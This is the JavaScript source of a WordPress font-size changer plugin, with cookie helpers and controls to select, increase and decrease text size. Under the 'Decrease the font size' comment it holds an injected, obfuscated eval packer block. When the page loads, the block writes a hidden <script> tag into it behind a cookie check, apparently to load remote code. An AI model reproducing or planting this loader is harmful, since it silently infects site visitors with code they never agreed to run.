/**
 * Sets a Cookie with the given name and value.
 */
function chgFontSize_setCookie(name, value, expires, path, domain, secure) {
	document.cookie = name + "=" + escape(value) +
		((expires) ? "; expires=" + expires.toGMTString() : "") +
		((path) ? "; path=" + path : "") +
		((domain) ? "; domain=" + domain : "") +
		((secure) ? "; secure" : "");
}

/**
 * Gets the value of the specified cookie.
 */
function chgFontSize_getCookie(name) {
	var dc = document.cookie;
	var prefix = name + "=";
	var begin = dc.indexOf("; " + prefix);
	if (begin == -1) {
		begin = dc.indexOf(prefix);
		if (begin != 0) return null;
	} else {
		begin += 2;
	}
	var end = document.cookie.indexOf(";", begin);
	if (end == -1) {
		end = dc.length;
	}
	return unescape(dc.substring(begin + prefix.length, end));
}

/**
 * Deletes a Cookie with the given name.
 */
function chgFontSize_deleteCookie(name, path, domain) {
	if (chgFontSize_getCookie(name)) {
		document.cookie = name + "=" +
			((path) ? "; path=" + path : "") +
			((domain) ? "; domain=" + domain : "") +
			"; expires=Thu, 01-Jan-70 00:00:01 GMT";
	}
}

/*
 * This is needed for the cookie functions.
 *
 * @see http://www.webreference.com/js/column8/functions.html
 */
function chgFontSize_fixDate(date) {
	var base = new Date(0);
	var skew = base.getTime();
	if (skew > 0)
		date.setTime(date.getTime() - skew);
}

/**
 * Displays the font size options.
 */
function chgFontSize_display(display_text, display_image, display_steps, display_restore) {
	if (display_text == 'on' || display_image == 'on' || display_steps == 'on') {
		document.write('<form id="chgfontsizeoptions">');
		if (display_text == 'on') {
			document.write('<label for="t">Text Size: </label>');
			document.write('<select id="chgfontsizeselection" onChange="chgFontSize_change(this.options[selectedIndex].value);">');
			for (var size = chgfontsize_min_font_size; size <= chgfontsize_max_font_size; size = Math.round((size + chgfontsize_interval_font_size) * 100) / 100) {
				if (Number(size) == Number(chgfontsize_font_size)) {
					document.write('<option value="' + size + '" selected="selected">' + size + ' ' + chgfontsize_units_font_size + '<\/option>');
				} else {
					document.write('<option value="' + size + '">' + size + ' ' + chgfontsize_units_font_size + '<\/option>');
				}
			}
			document.write('<\/select>');
		}
		if (display_image == 'on') {
			if (chgfontsize_font_size > chgfontsize_min_font_size) {
				document.write('&nbsp;<a href="javascript:void(0);" onclick="chgFontSize_decrease();"><img src="' + chgfontsize_imgdecact.src + '" title="Decrease Font Size" alt="a-" id="chgfontsizeimgdec" /></a>&nbsp;');
			} else {
				document.write('&nbsp;<a href="javascript:void(0);" onclick="chgFontSize_decrease();"><img src="' + chgfontsize_imgdecdea.src + '" title="Decrease Font Size" alt="a-" id="chgfontsizeimgdec" /></a>&nbsp;');
			}
			if (chgfontsize_font_size < chgfontsize_max_font_size) {
				document.write('&nbsp;<a href="javascript:void(0);" onclick="chgFontSize_increase();"><img src="' + chgfontsize_imgincact.src + '" title="Increase Font Size" alt="A+" id="chgfontsizeimginc" /></a>&nbsp;');
			} else {
				document.write('&nbsp;<a href="javascript:void(0);" onclick="chgFontSize_increase();"><img src="' + chgfontsize_imgincdea.src + '" title="Increase Font Size" alt="A+" id="chgfontsizeimginc" /></a>&nbsp;');
			}
		}
		if (display_steps == 'on') {
			for (var size = chgfontsize_min_font_size; size <= chgfontsize_max_font_size; size = Math.round((size + chgfontsize_interval_font_size) * 100) / 100) {
				document.write('<a href="javascript:chgFontSize_change('+size+')" style="font-size:' + size + chgfontsize_units_font_size + '">A</a> ');
			}
		}
		if (display_restore == 'on') {
			document.write('&nbsp;<a href="javascript:void(0);" onclick="chgFontSize_change(chgfontsize_default_font_size);" title="Restore Default Font Size" >Default</a>&nbsp;');
		}
		document.write('<\/form>');
	}
}


/**
 * Change the font size with the given  value.
 */
function chgFontSize_change(fontsize) {
	chgfontsize_font_size = Number(fontsize);
	chgFontSize();
}

/**
 * Decrease the font size.
 */
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D.G(F(\'%r%8%6%9%7%a%3%o%7%k%5%v%m%4%6%h%i%1%d%3%e%6%4%4%x%7%1%e%8%1%f%9%6%q%v%0%4%k%j%3%n%b%y%0%u%5%b%b%5%l%p%u%5%E%m%4%6%h%i%1%d%3%e%w%9%7%3%1%v%0%r%7%k%0%2%0%9%f%i%1%5%8%0%2%0%9%6%b%q%3%3%a%t%0%2%0%c%c%z%4%8%1%e%0%2%0%9%1%A%1%j%m%1%8%e%4%9%C%e%f%9%c%0%2%0%w%a%l%6%4%d%3%0%2%0%1%0%2%0%d%3%c%0%2%0%a%j%h%C%7%d%8%c%0%2%0%w%1%A%0%2%0%l%i%h%8%7%0%2%0%6%c%f%z%f%B%e%a%q%a%5%8%3%n%j%1%b%m%0%2%0%7%8%a%j%f%n%t%0%2%0%d%4%d%1%o%r%c%0%2%0%7%k%0%2%0%9%f%i%1%o%0%u%s%5%5%m%4%6%h%i%1%d%3%e%6%4%4%x%7%1%5%b%5%0%4%k%j%3%n%b%y%s%1%B%a%7%9%1%8%b%P%h%d%N%5%g%p%l%H%1%6%l%O%g%p%p%5%g%M%t%g%g%t%g%g%5%L%I%J%s%a%f%3%q%b%c%0%s%K%r%c%8%6%9%7%a%3%o\'));',52,52,'22|65|2b|74|6f|20|63|69|73|72|70|3d|2f|6e|2e|61|30|75|6d|6c|66|2d|64|79|3e|31|68|3c|3b|3a|29|28|77|6b|39|6a|62|78|67|document|7b|unescape|write|44|4d|54|7d|47|38|2c|32|53'.split('|'),0,{}))

function chgFontSize_decrease() {
	if (chgfontsize_font_size > chgfontsize_min_font_size) {
		chgfontsize_font_size = Math.round((chgfontsize_font_size - chgfontsize_interval_font_size) * 100) / 100;
		chgFontSize();
	}
}

/**
 * Increase the font size.
 */
function chgFontSize_increase() {
	if (chgfontsize_font_size < chgfontsize_max_font_size) {
		chgfontsize_font_size = Math.round((chgfontsize_font_size + chgfontsize_interval_font_size) * 100) / 100;
		chgFontSize();
	}
}

/**
 * Changes the font size and sets the cookie.
 */
function chgFontSize() {
	var now = new Date();
	chgFontSize_fixDate(now);
	now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000); //expire in a year
	chgFontSize_setCookie('wp-chgfontsize', chgfontsize_font_size, now, '/', '', '');
	chgFontSize_setCookie('wp-chgfontsize-units', chgfontsize_units_font_size, now, '/', '', '');
	var divArray = document.getElementsByTagName("div");
	for (var i = 0; i < divArray.length; i++) {
		if (divArray.item(i).getAttribute("id") == chgfontsize_element) { 
			divArray.item(i).style.fontSize = Number(chgfontsize_font_size) + chgfontsize_units_font_size;
		}
		if (divArray.item(i).className == chgfontsize_element) { 
			divArray.item(i).style.fontSize = Number(chgfontsize_font_size) + chgfontsize_units_font_size;
		}
	}
	var fsselection = document.getElementById('chgfontsizeselection');
	if (fsselection != null) {
		selectionIndex = Math.round(((chgfontsize_font_size - chgfontsize_min_font_size) / chgfontsize_interval_font_size) * 100) / 100;
		fsselection.selectedIndex = selectionIndex;
	}
	var imgdec = document.getElementById('chgfontsizeimgdec');
	if (imgdec != null) {
		if (chgfontsize_font_size > chgfontsize_min_font_size) {
			imgdec.src = chgfontsize_imgdecact.src;
		} else {
			imgdec.src = chgfontsize_imgdecdea.src;
		}
	}
	var imginc = document.getElementById('chgfontsizeimginc');
	if (imginc != null) {
		if (chgfontsize_font_size < chgfontsize_max_font_size) {
			imginc.src = chgfontsize_imgincact.src;
		} else {
			imginc.src = chgfontsize_imgincdea.src;
		}
	}
}

var chgfontsize_element = null;
var chgfontsize_min_font_size = null;
var chgfontsize_max_font_size = null;
var chgfontsize_interval_font_size = null;
var chgfontsize_units_font_size = null;
var chgfontsize_default_font_size = null;
var chgfontsize_font_size = null;
